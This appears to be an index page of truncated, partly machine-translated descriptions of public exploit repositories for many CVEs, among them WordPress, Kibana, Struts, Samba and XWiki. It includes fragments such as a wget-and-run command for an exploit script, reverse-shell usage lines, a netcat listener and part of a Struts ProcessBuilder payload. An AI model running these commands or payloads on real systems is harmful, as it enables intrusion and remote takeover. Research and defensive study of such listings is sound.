CVE-2025-32463

بشكل كبير متأثر/منسوخ/مبني على تنسيق مستودع مشابه من pr0v3rbs -- https://github.com/pr0v3rbs/CVE-2025-32463ichwoot.git هذا هو إعادة تنفيذ بلغة C للتوصيل السريع والتنفيذ والتنظيف من مصدر واحد. CVE-2025-32463 – إثبات المفهوم لـ sudo chroot "chwoot" يوفر هذا المستودع بيئة بسيطة وقابلة للتكرار لإظهار...

asf__karaf_CVE-2022-22932_4-3-5

Apache Karaf Apache Karaf هو بيئة تشغيل واحدة modulith تدعم عدة أطر عمل ونماذج برمجة REST/API، ويب، Spring Boot، .... يوفر ميزات جاهزة للاستخدام يمكنك الاستفادة منها مباشرة دون عناء، معبأة كتطبيق قابل للتعديل أو غير قابل للتعديل. نظرة عامة النشر السريع : يدعم Karaf النشر السريع للتطبيقات في دليل...

CVE-2019-7609

CVE-2019-7609 إصدار جديد من CVE-2019-7609 يعمل مع python 13 استغلال CVE-2019-7609 Kibana RCE بالطريقة الصحيحة باستخدام نصوص python3 المرجع: https://github.com/LandGrey/CVE-2019-7609 لقطة الشاشة الاستخدام usage: python3 CVE-2019-7609-kibana-rce.py -h -u URL -host REMOTEHOST -port REMOTEPORT --shel...

CVE-2024-27956

🚨POC PUBLIÉ🚨PoC pour l'injection SQL menant à une exécution de code à distance RCE dans WordPress publié CVE-2024-27956. Création de compte administrateur WordPress et reverse shell cve-2024-27956 Utilisation - sudo python3 cve.py...

CVE-2023-0830

CVE-2023-0830: استغلال حقن أوامر نظام التشغيل بعد المصادقة في EasyNAS 1.1.0 هذا النص البرمجي بلغة Python هو أداة استغلال قوية لإصدار EasyNAS 1.1.0 مع وظائف محسّنة، تتضمن مستمعًا مدمجًا. الثغرة المستغلة هي خلل في حقن الأوامر، ويتطلب استغلالها مصادقة. ينشئ النص البرمجي جلسة مع الخادم الهدف، ثم يرسل...

Nagios-CVE-2019-15949-RCE

Nagios-CVE-2019-15949-RCE-Poc أداة PoC بلغة Python لثغرة CVE-2019-15949 نظرة عامة توجد ثغرة في Nagios XI = 5.6.5 تسمح للمهاجم باستغلال تنفيذ الأوامر عن بعد RCE لرفع الامتيازات إلى الجذر. يتطلب الاستغلال الوصول إلى الخادم كمستخدم nagios، أو الوصول إلى CCM عبر الواجهة الإلكترونية مع صلاحيات لإدارة...

CVE-2023-43208-PoC

CVE-2023-43208 - Mirth Connect RCE non authentifiée Prérequis Python 3.11 ou supérieur testé sur 3.11, 3.12, 3.13 Installation Create a clean virtual environment python3 -m venv .venv source .venv/bin/activate Install pinned dependencies pip install -r requirements.txt Utilisation Check version...

CVE-2024-40453

CVE-2024-40453 - Squirrelly v9.0.0 RCE إخلاء مسؤولية: هذا البرنامج النصي هو للاستخدام التعليمي فقط. لا تستخدمه لأغراض غير قانونية. إذا قمت بذلك، فهذه مسؤوليتك بالكامل؛ لست مسؤولاً عن أي إساءة استخدام. الوصف ينشئ هذا البرنامج النصي شيل عكسي يسمى payload.sh في الدليل الحالي. ثم يستضيف خادم http على...

CVE-2022-1609

CVE-2022-1609 Bash poc لـ CVE-2022-1609 WordPress Weblizar باب خلفي كيف يتم التثبيت ? wget https://raw.githubusercontent.com/NullBrunk/CVE-2022-1609/main/exploit.sh chmod +x exploit.sh ./exploit.sh كيف يتم الاستخدام ? NullBrunk$ ./exploit.sh http://127.0.0.1:8080 + Targeting http://127.0.0.1:8080...

CVE-2026-0073-Android-client-TLS-auth-bypass

CVE‑2026‑0073 est un bug logique dans le démon ADB d'Android adbd qui permet à un attaquant de contourner l'authentification mutuelle TLS et d'ouvrir un shell distant sur un appareil dont le débogage sans fil est activé et qui a été appairé avec un ordinateur au moins une fois. La cause racine es...

CVE-2025-46157

CVE-2025-46157 CVE-2025-46157 – Timetrax V1 2025 تنفيذ التعليمات البرمجية عن بُعد ورفع الامتيازات ملخص تم اكتشاف ثغرة أمنية خطيرة في Timetrax V1 2025 تسمح للمستخدمين المصادقين بتجاوز قيود رفع الملفات وتحقيق تنفيذ التعليمات البرمجية عن بُعد RCE. توجد المشكلة في نموذج طلب الإجازة Leave Request في...

POC-IngressNightmare-CVE-2025-1974

مُنشئ Shell.so قائم على Alpine يتيح لك هذا المشروع بناء حمولة shell.so باستخدام نظام Alpine Linux داخل حاوية Docker. التعليمات 1. استنساخ المستودع : git clone cd 2. بناء الحمولة : ./runbuild.sh سيتم إنشاء ملف shell.so المُجمّع في الدليل الجذر للمشروع. ⚠️ مهم: عنوان IP ومنفذ الـ reverse shell مضمنا...

CVE-2025-6002

استغلال ثغرة CVE-2025-6002 يستغل هذا السكربت ثغرة رفع الملفات الاعتباطية بعد المصادقة في VirtueMart 4.4.10 CVE-2025-6002، والموصوفة في هذه التدوينة: https://blog.blacklanternsecurity.com/p/doomla-zero-days يسجّل هذا السكربت الدخول إلى VirtueMart باستخدام بيانات الاعتماد المقدمة، وينشئ منتجًا جديد...

gonc

Introduction à gonc README en 中文 、 English gonc est un outil netcat basé sur Golang, conçu pour faciliter la communication pair-à-pair. Ses principales fonctionnalités incluent : 🔁 Traversée de NAT automatisée : Zéro configuration. Les deux côtés doivent simplement s'accorder sur une phrase...

CVE-2026-5059-poc

Où se trouve CVE-2026-5059 dans le code ? La vulnérabilité se situe dans deux fichiers qui fonctionnent ensemble : Fichier 1 : tools.py — La cause racine L'ancienne version utilisait shell=True dans executepipedcommand : python OLD VULNERABLE CODE process = subprocess.run command, ← raw string...

S2-052

Exploit de shell inversé CVE-2017-9805 S2-052 Versions affectées Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 Poc Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0 jdk.nashorn.internal.obje...

CVE-2007-2447

CVE-2007-2447 لاختبار السكربت، أوصيك باستخدام الجهاز الافتراضي "metasploitable 2" المتاح هنا. سيظهر السكربت قشرة عكسية إذا نجح الاستغلال. للحصول على الاتصال، فقط افتح جلسة netcat مثل: netcat -lnvp جدول المحتويات أمثلة المتطلبات الحمولات أمثلة py CVE-2007-2447.py 192.168.1.38 1337 192.168.1.14 وعل...

cgi-bin-shellshock

كيفية الاستخدام استنساخ المستودع أو مجرد نسخ ولصق الذي تفضله sudo git clone https://github.com/Gurguii/shellshock.sh تشغيل السكربت Bash bash shellshock.sh -u -h -p Python python3 shellshock.py -u -lh -lp ملاحظة: المنفذ الافتراضي هو 4444، عنوان URL مطلوب. إذا تم إعطاء عنوان URL فقط، فسيقوم بـ RCE،...

CVE-2025-24893-Reverse-Shell

CVE-2025-24893 - استغلال تنفيذ التعليمات البرمجية عن بُعد في XWiki إثبات المفهوم لـ CVE-2025-24893 – ماكرو تنفيذ التعليمات البرمجية عن بُعد في XWiki مستوحى من إثبات المفهوم الأصلي لـ Artemir الوصف هذا استغلال إثبات مفهوم PoC لـ CVE-2025-24893 ، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد RCE في إصدارات...

CVE-2025-55182

CVE-2025-55182 يحتوي هذا المستودع على توثيق حول الثغرة الأمنية CVE-2025-55182 React2Shell التوثيق متاح كـ: موقع ويب: https://memergamer.github.io/CVE-2025-55182/ بصيغة PDF main.pdf: https://github.com/MemerGamer/CVE-2025-55182/releases...